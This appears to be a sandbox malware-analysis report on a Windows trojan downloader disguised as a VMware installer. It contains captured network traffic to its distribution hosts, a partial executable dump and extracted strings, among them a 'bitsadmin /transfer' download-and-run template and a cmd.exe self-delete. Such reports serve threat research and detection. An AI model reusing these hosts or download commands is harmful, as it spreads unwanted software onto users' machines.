_hdn=0&_ver=1.1.5.26&_p=1&_s=20&_cc=UA&_cid=2140&_psb=0&_cnt=8090dd4d0f36f257c0d595bbfe802c92&_instid=l21&_brw=ie&_fc=0&_appname=&_appimageurl=&_netfs=-31&_vert=3&r_DownloadManagerModern=0&r_NationZoom=1&r_JinshanDuba=3&r_SputnikSearch=2&r_UCwebAccelerator=1&r_YesSearches=1&DownloadManagerModern=3&NationZoom=1&JinshanDuba=1&SputnikSearch=1&UCwebAccelerator=1&YesSearches=4

HTTP/1.1 200 OK

Content-Type: text/xml

Date: Sun, 29 May 2016 02:44:42 GMT

Server: Apache/2.2.15 (Red Hat)

X-Powered-By: PHP/5.3.3

Content-Length: 4581

Connection: keep-alive

....<Array><page><f>1</f><fb>9</fb><pt>0</pt><cats>0</cats><updh>1</updh><wrn></wrn><comps>DownloadManagerModern</comps><short_name>DownloadManagerModern</short_name><must_show>0</must_show><bdy>CjxkaXYgaWQ9ImFtaV9kX21hbmFnZXJfYm9keSI Cgk8ZGl2IGlkPSJhbWlfbGVmdF9pbWFnZSI CQoJCTxpbWcgaWQ9ImFtaV9pbWFnZXVybCIgc3JjPSJodHRwOi8vcGUtc2l4aS5jb20vaW1nL2ljb25faW5zdGFsbGVyLnBuZyIgLz4KCQk8ZGl2IGlkPSJhbWlfbGVmdF9saW5rcyI CQoJCQk8YSBocmVmPSJodHRwOi8vd3d3Lmluc3RhbGxwYXRoLmNvbS9wcml2YWN5Lmh0bWwgIiB0YXJnZXQ9Il9ibGFuayIgc3R5bGU9ImNvbG9yOiB3aGl0ZSI UHJpdmFjeSBQb2xpY3k8L2E PGJyIC8 CgkJCTxhIGhyZWY9Imh0dHA6Ly93d3cuaW5zdGFsbHBhdGguY29tL2luZGV4Lmh0bWwiIHRhcmdldD0iX2JsYW5rIiBzdHlsZT0iY29sb3I6IHdoaXRlIj5IZWxwPC9hPjxiciAvPgoJCQk8YSBocmVmPSJodHRwOi8vd3d3Lmluc3RhbGxwYXRoLmNvbS9jb250YWN0LXVzLmh0bWwiIHRhcmdldD0iX2JsYW5rIiBzdHlsZT0iY29sb3I6IHdoaXRlIj5Db250YWN0IHVzPC9hPgoJCTwvZGl2PgoJPC9kaXY Cgk8ZGl2IGlkPSJhbWlfYm9keV90ZXh0Ij4KCQk8ZGl2IGlkPSJhbWlfZGVjX2RpdiI CgkJCTxzcGFuIGlkPSJhbWlfZGVjX3RpdGxlIj5TZXR1cCA8Yj5pbnN0YWxsZXI8L2I PC9zcGFuPgkJCgkJCTxzcGFuIGlkPSJhbWlfZGVjX25vdGUiPlRvIGNvbnRpbnVlIGluc3RhbGxpbmcgeW91ciBhcHBsaWNhdGlvbiwgY2xpY2sgb24gdGhlIE5leHQgYnV0dG9uLjwvc3Bhbj4KCQk8L2Rpdj4KCQkJCQoJCTxkaXYgaWQ9ImRfYW1pX0Rvd25sb2FkTWFuYWdlck1vZGVybiIgc3R5bGU9ImhlaWdodDogMTMwcHgiPiAKCQk8YnIgLz4KCQkJPGRpdiBkYXRhLWFkanVzdC1oZWlnaHQ9IjAiIGlkPSJtaWRkbGUiIHN0eWxlPSJ3aWR0aDogMTAwJTsgcGFkZGluZzogMHB4OyBoZWlnaHQ6IDExMHB4OyBtYXJnaW4tdG9wOiA

<<< skipped >>>

GET /Html/7d0e2798-c9e5-442a-a48d-1a3dfc747868/logo.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.quaintspokenracketiest.site/index.php

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.quaintspokenracketiest.site

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: image/png

Date: Sun, 29 May 2016 02:44:42 GMT

ETag: "24ab1-7262-533bc993b517f"

Last-Modified: Thu, 26 May 2016 10:53:21 GMT

Server: Apache/2.2.15 (Red Hat)

Content-Length: 29282

Connection: keep-alive

.PNG........IHDR.......s.....`..1....pHYs...............9.iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.155772, 2014/01/13-19:44:00 ">. <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/". xmlns:dc="hXXp://purl.org/dc/elements/1.1/". xmlns:photoshop="hXXp://ns.adobe.com/photoshop/1.0/". xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/". xmlns:stEvt="hXXp://ns.adobe.com/xap/1.0/sType/ResourceEvent#". xmlns:tiff="hXXp://ns.adobe.com/tiff/1.0/". xmlns:exif="hXXp://ns.adobe.com/exif/1.0/">. <xmp:CreatorTool>Adobe Photoshop CC 2014 (Windows)</xmp:CreatorTool>. <xmp:CreateDate>2016-03-16T16:09:11 02:00</xmp:CreateDate>. <xmp:ModifyDate>2016-03-16T16:23:05 02:00</xmp:ModifyDate>. <xmp:MetadataDate>2016-03-16T16:23:05 02:00</xmp:MetadataDate>. <dc:format>image/png</dc:format>. <photoshop:ColorMode>3</photoshop:ColorMode>. <xmpMM:InstanceID>xmp.iid:36122a74-ac0f-5d40-8bf0-cb214281bd07</xmpMM:InstanceID>. <xmpMM:DocumentID>adobe:docid:photoshop:1f386400-eb82-11e5-9c68-b3c1a0aff854</xmpMM:DocumentID>. <xmpMM:OriginalDocumentID>xmp.did:ff769801-1319-ee4c

<<< skipped >>>

GET /download.php?version=1.1.5.26&monitor=1&z2=0&ci=2140&appsetupurl=http://pe-sixi.com/downloadS.php?bu=am&prefix=Setup&instid[appname]=installer&instid[cmdline]=/S&instid[appimageurl]=http://pe-sixi.com/img/icon_installer.png HTTP/1.0

Host: VVV.dosecuretrips.com

User-Agent: NSISDL/1.2 (Mozilla)

Accept: */*

HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

Access-Control-Expose-Headers: X-Target-FN

Cache-Control: no-store, no-cache, must-revalidate

Cache-Control: post-check=0, pre-check=0

Content-Disposition: attachment; filename="Setup__2140_il21.exe"

Content-Type: application/x-msdownload

Date: Sun, 29 May 2016 02:44:37 GMT

Expires: Sat, 26 Jul 1997 05:00:00 GMT

Last-Modified: Sun, 29 May 2016 02:44:37 GMT

Pragma: no-cache

Server: Apache/2.2.15 (Red Hat)

X-Powered-By: PHP/5.3.3

X-Target-FN: Setup__2140_il21.exe

Content-Length: 664784

Connection: Close

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................#V......#V......#V........x.......Q.......A......................~........E......~......Rich............................PE..L....NJW............................7].......0....@..........................`....../.....@.....................................P.... ..................................................................@............0..8............................text...6........................... ..`.rdata.......0......................@..@.data....5..........................@....rsrc........ ......................@..@.reloc..\G.......H..................@..B........................................................................................................................................................................................................................................................................................................................V......t.P.{A............F.....^................................U...E.V.0.E.......t ....t :.|..7.A.AF..u......3......^]....9.u..>.u.3.3......^]....9.t......3......^]...........U..Qh\.A..E.P.M..sU.............U..j.hK(A.d.....PQSVW.p.A.3.P.E.d.......j...@........u..E.......t,.M....M..N..E..F..F......F......F......F....3..E......;..u..3.~....@...M.d......Y_^[..]...VW.......t.j..G...WV.......t.j..G.Wj.PV.(....M.d......Y_^[..].......U..j.h.(A.d.....PQVW.p.A.3.P.E.d........>.......j...?........}..E.......t.

<<< skipped >>>

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

%original file name%.exe_652:

.text

`.rdata

@.data

.ndata

.rsrc

@.reloc

RegDeleteKeyExW

Kernel32.DLL

PSAPI.DLL

%s=%s

GetWindowsDirectoryW

KERNEL32.dll

ExitWindowsEx

GetAsyncKeyState

USER32.dll

GDI32.dll

SHFileOperationW

ShellExecuteW

SHELL32.dll

RegDeleteKeyW

RegCloseKey

RegEnumKeyW

RegOpenKeyExW

RegCreateKeyExW

ADVAPI32.dll

COMCTL32.dll

ole32.dll

VERSION.dll

O8,reA

l;`]w`#r%s

7.rdata

KERNEL32.DLL

nsArray.dll

Join

invalid URL

Host: %s

GET %s HTTP/1.0

User-Agent: NSISDL/1.2 (Mozilla)

http=

Unable to open %s

%skB (%d%%) of %skB at %u.ukB/s

(%u hours remaining)

(%u minutes remaining)

(%u seconds remaining)

Downloading %s

WS2_32.dll

NSISdl.dll

Nullsoft Install System v2.46.5-Unicode

logging set to %d

settings logging to %d

created uninstaller: %d, "%s"

WriteReg: error creating key "%s\%s"

WriteReg: error writing into "%s\%s" "%s"

WriteRegBin: "%s\%s" "%s"="%s"

WriteRegDWORD: "%s\%s" "%s"="0xx"

WriteRegExpandStr: "%s\%s" "%s"="%s"

WriteRegStr: "%s\%s" "%s"="%s"

DeleteRegKey: "%s\%s"

DeleteRegValue: "%s\%s" "%s"

WriteINIStr: wrote [%s] %s=%s in %s

CopyFiles "%s"->"%s"

CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d

Error registering DLL: Could not load %s

Error registering DLL: %s not found in %s

GetTTFFontName(%s) returned %s

GetTTFVersionString(%s) returned %s

Exec: failed createprocess ("%s")

Exec: success ("%s")

Exec: command="%s"

ExecShell: success ("%s": file:"%s" params:"%s")

ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d

Exch: stack

RMDir: "%s"

MessageBox: %d,"%s"

Delete: "%s"

File: wrote %d to "%s"

File: skipped: "%s" (overwriteflag=%d)

File: error creating "%s"

File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"

Rename failed: %s

Rename on reboot: %s

Rename: %s

IfFileExists: file "%s" does not exist, jumping %d

IfFileExists: file "%s" exists, jumping %d

CreateDirectory: "%s" created

CreateDirectory: can't create "%s" - a file already exists

CreateDirectory: can't create "%s" (err=%d)

CreateDirectory: "%s" (%d)

SetFileAttributes: "%s":X

Sleep(%d)

detailprint: %s

Call: %d

Aborting: "%s"

Jump: %d

verifying installer: %d%%

... %d%%

hXXp://nsis.sf.net/NSIS_Error

~nsu.tmp

install.log

%u.%u%s%s

Skipping section: "%s"

Section: "%s"

New install of "%s" to "%s"

.DEFAULT\Control Panel\International

Software\Microsoft\Windows\CurrentVersion

*?|/":

invalid registry key

HKEY_DYN_DATA

HKEY_CURRENT_CONFIG

HKEY_PERFORMANCE_DATA

HKEY_USERS

HKEY_LOCAL_MACHINE

HKEY_CURRENT_USER

HKEY_CLASSES_ROOT

x%c

RMDir: RemoveDirectory failed("%s")

RMDir: RemoveDirectory on Reboot("%s")

RMDir: RemoveDirectory("%s")

RMDir: RemoveDirectory invalid input("%s")

Delete: DeleteFile failed("%s")

Delete: DeleteFile on Reboot("%s")

Delete: DeleteFile("%s")

%s: failed opening file "%s"

"C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nst2.tmp\Setup__2140_il21.exe"

o2get.link/taveara?q=setup&name=Vmware+workstation+10.0.5+buil

etup&instid[appname]=installer&instid[cmdline]=/S&instid[appimageurl]=http://pe-sixi.com/img/icon_installer.png

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nst2.tmp\NSISdl.dll

E~1\"%CurrentUserName%"\LOCALS~1\Temp\nst2.tmp

E~1\"%CurrentUserName%"\LOCALS~1\Temp\nst2.tmp\NSISdl.dll

1.1.1.6

Software\Microsoft\Windows\CurrentVersion\Internet Settings

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nst2.tmp

Setup__2140_il21.exe

SETUP_~1.EXE

Exec: success (""C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nst2.tmp\Setup__2140_il21.exe"")

itor=1&z2=0&ci=2140&appsetupurl=http://pe-sixi.com/downloadS.php?bu=am&prefix=Setup&instid[appname]=installer&instid[cmdline]=/S&instid[appimageurl]=http://pe-sixi.com/img/icon_installer.png

Vmware workstation 10.0.5 buil Setup

0204812

tp://tabiso2get.link/taveara?q=setup&name=Vmware+workstation+10.0.5+buil

u3.space/stub_maker_uk.php?url=hXXp://tabiso2get.link/taveara?q=setup&name=Vmware+workstation+10.0.5+buil

0123456789 /

mware workstation 10.0.5 buil

c:\%original file name%.exe

%original file name%.exe

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nse1.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

7694700

hXXp://VVV.dosecuretrips.com/download.php?version=1.1.5.26&monitor=1&z2=0&ci=2140&appsetupurl=http://pe-sixi.com/downloadS.php?bu=am&prefix=Setup&instid[appname]=installer&instid[cmdline]=/S&instid[appimageurl]=http://pe-sixi.com/img/icon_installer.png

1W7zfujX.exe

hXXp://up.sdfuus98d7f.xyz/launch_v5.php?p=sevenzip&pid=1505&tid=4312341&b_typ=pe&n=Vm13YXJlK3dvcmtzdGF0aW9uKzEwLjAuNStidWls&reb=1&ic=

%original file name%.exe_652_rwx_10001000_00007000:

.text

`.rdata

@.data

.rsrc

@.reloc

/key=

Setup__2140_il21.exe_1796:

.text

`.rdata

@.data

.rsrc

@.reloc

FTPQ

function not supported

operation canceled

address_family_not_supported

operation_in_progress

operation_not_supported

protocol_not_supported

operation_would_block

address family not supported

broken pipe

inappropriate io control operation

not supported

operation in progress

operation not permitted

operation not supported

operation would block

protocol not supported

GetProcessWindowStation

operator

29 107 102

97 55 107 83 112 78 97 17

99 59 105 82 71 71 74 33 98

98 22 78 5 54 5 65 62 107

98 27 65

98 55 115 114 71

98 55 115 102 109 83 64 62

105 61 102 82 77 72 74 60 70

105 61 102 82 77 72 74 60 80

75 38 99 90 104 5 65 62 107

75 33 107 89 107 64 80 34

74 62 98 5 54 5 65 62 107

119 55 102 82 66 66 73 55

86 32 113

82 32 108 69 112

1.2.8

KERNEL32.dll

ole32.dll

RegOpenKeyW

RegCloseKey

ADVAPI32.dll

GetProcessHeap

GetCPInfo

zcÃ

@=%uaR

kw~?%x

kIT.ot

u`.eP

C]exE

k%cn-r

.DfKqGy

F[h.Hdc

Ã˜]XR\v

e.Sq9

.hOy_

.ChCF(

I,*.%d

]C%xJc qk

"h^.EG

e_.NkjY

4.Vg6

[R~.myj

6U.Qd

wp.pE

s1f-'

)%X14

T%UK5R

0 0$0(0,0004080

00U0k0u0{0

9"9&9-919

0 0$0(0,0004080

Amscoree.dll

- CRT not initialized

- Attempt to initialize the CRT more than once.

- floating point support not loaded

kernel32.dll

USER32.DLL

91 100 112

81 125 5

76 99 113

72 116 102 11 45 94 94

38 89 79 62 4 123 117 79

72 84 70 43 45 126 126

75 108 96 11

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nst2.tmp\Setup__2140_il21.exe

normal exe

8.2.12.7

blues.exe

Setup__2140_il21.exe_1796_rwx_00BF0000_000B3000:

.text

`.rdata

@.data

.rsrc

@.reloc

j5SSh

8%uEP3

xSSSh

FTPjKS

FtPj;S

C.PjRV

Visual C CRT: Not enough memory to complete call to strerror.

Broken pipe

Inappropriate I/O control operation

Operation not permitted

portuguese-brazilian

operator

GetProcessWindowStation

WinHttpSetStatusCallback

RvJTcpN8IxIR

RvJcdZhpLxBA6ExE3WgO6FZjmA==

Y9lQeIkndCRJ6XhKx3lv9XZ5jmkvG0D8W0LBY2P0UmeReDoSSL1bRI4oTP8fepRxIh5f ExEwGlTkQ==

Failed to get the Temp folder: %d

RegOpenKeyTransactedW

RegCreateKeyTransactedW

RegDeleteKeyTransactedW

RegDeleteKeyExW

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWXzW2TASU/sUXuSfCo0Q/BfR8t5Rf8FN7lyORlA8k5PjmREphpz3U4mGF7pYUrDaB2 bB0=

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWXzW2TASU/sUXuSfCo0Q/BfR8t5Rf8fXpk9axMM UBcwGFP ls3mHMqEki9YGCk

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWXzW2TASU/sUXuSfCo0Q/BfR8t5Rf8fXpk9axMM/FxYx2pO/ls3iXJuUn xD1nLeVLiH2SJfDoSDLhLIQ==

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWXzW2TASU/sUXuSfCo0Q/BfR8t5Rf8fRIl8OgJfoApPjmtP6R90knA GEL4QV/xZESmGnPRPSsFXvJdFotpKg==

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWnzXl7LeEXSUWSJfCIbTelGRMAtcv5ec4RJIT5C7ltKwmEAvmwd

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWnzXl7LeEXSUWSJfCIbTelGRMAtZelNeI89IRkMz0pKynR09HZ5jmkvG0C9Cnik

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWXzXF/PYUzPV2WYfCp9

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWj4Xl7LeEXSUWSJfCIbTelGRMAH

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWjyWEXCYkH/FzKuMW5Sf7EPDv0kKg==

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWXzXF/PYUyzGnPRPWskAL0KeIIoRLI1

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWXzW2/Bek73UHaZNWskAL0KeIItBcgTMpk0RA==

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWXzW2/Bek73UHaZPQcTDLhLC89 U/JYeZh5bgNDvQp4gi1T715jmCBrEyY=

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWXzW2/Bek73UHaZPQcTDLhLC89 U/JYeZh5bgNDvQp4gi1T715jmCBrEwTvSl/cdAmR

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWXzW2/Bek73UHaZPT0DTelKC5MwAP9MY6JZIQBC8UBKykhO/1pzuG88GF69XHTGWU/vXnu5cjkZQPJOT t/UvRNZMA4Kn0=

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWXzW2/Bek73UHaZPT0oRMlAX89hZPRIeZFyLxNp711E3H4Avls39w==

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWXzW2/Bek73UHaZJ242SPlGRcktY99QYJNxIRZIvUlE3C0FyB9jkj0jKEjyWEXCYkH/TD73

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWXzW2LAflT6U3vVdCpKCfkDC8djU 9ee5FeIxNg9EFOkyhztx9Hj3ItEl/uYUrDaB2 bDvddCAEWPxDR NiRP4CMpk0RA==

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWXzW3nLYUX6THKtcj0DXPJBTsoH

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWXzW3nLYUX6THKtcj0DXPJBTsotYf9bN4htKhZY F0L2mIA71dy3X8rEEXzRkXJLU/9H2OVeG4bRe5bC6Q=

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWXzW3nLYUX6THKtcj0DXPJBTsotYf9bN9hObgNDvVtDyy1F9Vs3kntuA0T4D0fHflS7NQ==

cv5TcpxuKydD7ltbwWNF/x8yrhc=

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWXzW3/GbE7wTB0=

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWXzXF/PYUzYUHqNciASQulcIQ==

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TX74QkTYaHD0TGSUfyISb/JCW8FjRfVLZN04HVde EJE2GhEu1llknBuG0XuWyE=

CInstallationManager::IsPartOfInstallation value=%s

CInstallationManager::SetComponentInstallationEnded %S

%Y-%m-%d %H:%M:%S

afVWY5R8Ih5W9EFMjnRP7k03lHM9A03xQ0raZE/1EzeJdS8DDPBOUo55QfBaN5t4OVdf ExEwGlTtx9nkXgvBEm9WErHeQ61EQ==

CProgressUpdateRequest::CreateInstance %S

CProgressUpdateRequest::ProgressUpdate %S

Send progress update request %s

Progress Request for '%S' return %s

Y89eZJZOLR9J VpHy0VB9Vt7mG90TW/vSkraaGT0SHmRci8TePxcQI5LQfJTcpk9OhgM/l1Oz3lFu1553XQgBFj8QUjLLU/9H16pfD0cf/hdXcduRaEfMoUX

%c%c%c%c

VERSION.dll

KERNEL32.dll

USER32.dll

GDI32.dll

RegDeleteKeyW

RegCloseKey

RegQueryInfoKeyW

RegEnumKeyExW

RegOpenKeyExW

RegCreateKeyExW

ADVAPI32.dll

SHELL32.dll

ole32.dll

OLEAUT32.dll

SHLWAPI.dll

Secur32.dll

WinHttpCloseHandle

WinHttpOpen

WinHttpSetOption

WinHttpGetProxyForUrl

WinHttpCrackUrl

WinHttpConnect

WinHttpOpenRequest

WinHttpSetStatusCallback

WinHttpSendRequest

WinHttpQueryHeaders

WinHttpQueryDataAvailable

WinHttpReadData

WinHttpReceiveResponse

WINHTTP.dll

GetProcessHeap

GetCPInfo

zcÃ

.?AVAsyncWinHttp@@

.?AV?$_IDispEventLocator@$0MJ@$1?DIID_DWebBrowserEvents2@@3U_GUID@@B@ATL@@

.?AV?$IDispEventSimpleImpl@$0MJ@VCBoot@@$1?DIID_DWebBrowserEvents2@@3U_GUID@@B@ATL@@

.?AUISupportErrorInfo@@

.?AV?$CAtlExeModuleT@VCBootStrapperModule@@@ATL@@

?456789:;

!"#$%&'()* ,-./0123

watchful.bookmen.1 = s 'Inst Class'

CLSID = s '{6049631c-35db-48bf-9ca7-32847298bfb6}'

watchful.bookmen = s 'Inst Class'

CurVer = s 'watchful.bookmen.1'

ForceRemove {6049631c-35db-48bf-9ca7-32847298bfb6} = s 'Inst Class'

ProgID = s 'watchful.bookmen.1'

VersionIndependentProgID = s 'watchful.bookmen'

val ServerExecutable = s '%MODULE_RAW%'

TypeLib = s '{971927da-ce1b-405c-89e7-e6c52e643df4}'

.sssh

REÃš

\.crr

s1f-'

.DC l

tweb

type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144ccf1df" language="*" />

stdole2.tlbWWW(

msgWd

keyNameW

urlW

url2d

YtcmdLineW

P%CreateIconWW

iconUrlW

regKeyWW

CheckRegKeyW

keyWd

W.launchCommandLineWWW

~cmdW

WDIsShortNameInstalledd

Created by MIDL version 7.00.0555 at Sat May 28 22:02:18 2016

3"3/3>3\3

:':-:;:@:

9 9(909

mscoree.dll

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

wKERNEL32.DLL

ADVAPI32.DLL

WUSER32.DLL

Winhttp.dll

shlwapi.dll

HKEY_CURRENT_CONFIG

HKEY_DYN_DATA

HKEY_PERFORMANCE_DATA

HKEY_USERS

HKEY_LOCAL_MACHINE

HKEY_CURRENT_USER

HKEY_CLASSES_ROOT

appimageurl

cmdl

capp=%s&cid=%s&mhx=%S&base=%s

\bitsadmin.exe

\Support Tools\bitsadmin.exe

dream.capture

%sami%s%d%d.exe

%d-%.2d-%.2dT%.2d:%.2d:00

%d-%.2d-%.2dT%.2d:-:00

/retrynav %d

Advapi32.dll

shell32.dll

{23A96663-59D1-4C44-A0DB-1118D9C4ABBA}

OLEAUT32.DLL

kernel32.dll

sn=%s&hx=%S&base=%s

rfsw%d

advapi32.dll

v2.0.50727

v1.1.4322

Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice

%ProgramFiles%\Microsoft Silverlight\sllauncher.exe

NT%d.%dSP%d

%ProgramFiles%\Mozilla Firefox\firefox.exe

%d.%d.%d.%d

ami%sExd

bitsadmin /transfer amijob /download /priority high %s %s

ami%sExi

/c del "%s"

cmd.exe

ami%sExdel

version.dll

OleAut32.dll

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nst2.tmp\Setup__2140_il21.exe

{8856F961-340A-11D0-A96B-00C04FD705A2}

1.1.5.26

setup.exe

quaintspokenracketiest.site